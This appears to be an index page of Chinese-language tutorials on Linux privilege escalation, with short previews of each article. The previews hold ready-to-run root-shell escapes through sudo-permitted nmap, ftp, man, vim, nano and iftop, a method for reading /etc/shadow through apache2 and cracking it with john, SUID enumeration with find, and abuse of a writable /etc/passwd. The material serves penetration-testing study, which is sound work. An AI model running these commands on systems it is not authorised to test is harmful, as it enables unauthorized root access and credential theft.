一共15篇文章
专题：第2期
-
sudo提权 - apache2
在没有 shell 转义序列的情况下，可以使用sudo来操作apache2进行提权： sudo apache2 -f /etc/shadow john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt...- 18
- 0
-
sudo提权 - nmap
nmap是网络扫描和嗅探工具包 #nmap的sudo提权命令（禁用输入回显） TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF #nmap的sudo提权命令（利用nmap版本2.02至5.21的交互模式） sudo nmap --interactive nmap…... -
sudo提权 - ftp
FTP 是File Transfer Protocol（文件传输协议）的英文简称，而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。 sudo提权 - ftp sudo ftp !/bin/sh ... -
sudo提权 - man
man 命令是 Linux 下的帮助指令，通过 man 指令可以查看 Linux 中的指令帮助、配置文件帮助和编程帮助等信息。 sudo man man !/bin/sh ... -
sudo提权 - vim
vim是目前我们使用比较多的是 vim 编辑器。 ,vim内设的各种功能是vim具有非常强大的编辑能力,让我们快速的完成各种编辑任务。 #方法一：输入sudo vim，然后在vim编辑器界面按下Shift键加" : "键，接着输入"!sh"，按下回车即可 sudo vim :!sh #用:!bash也可以 whoami #方法二：输入以下命令，执行即可 su…... -
sudo提权 - nano
nano 是一个字符终端的文本编辑器,是Pico的复制品;它比vi/vim要简单得多,比较适合Linux 初学者使用,某些Linux发行版的默认编辑器就是nano。 sudo nano ctrl+r ctrl+x 看到这个界面 就可以执行命令了 ... -
sudo提权 - find
find 命令用于在指定目录下查找文件和目录。 提权利用 收集具有SUID权限的文件 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ; /表示从文件系统的顶部（根）开…... -
sudo提权 - iftop
iftop 是一个用于实时监视网络流量的工具。 shift+1也就是！感叹号可以执行命令。 命令输入： sudo iftop 然后可以看到一个流量监控的界面 然后按下 Shift+1 感叹号！ 可以调出命令行 接下来输入 ! /bin/sh 直接提权 ... -
弱文件权限 - 可写 /etc/passwd 提权
/etc/passwd 文件包含用户账户信息。它是可读的，但通常只有 root 用户才能写入。历史上，/etc/passwd 文件包含用户密码哈希值，一些 Linux 版本仍允许在其中存储密码哈希值。 请注意，/etc/passwd 文件是可写的： ls -l /etc/passwd 运行结果： user@debian:~$ ls -l /etc/passwd -rw-r--rw- 1 root …...
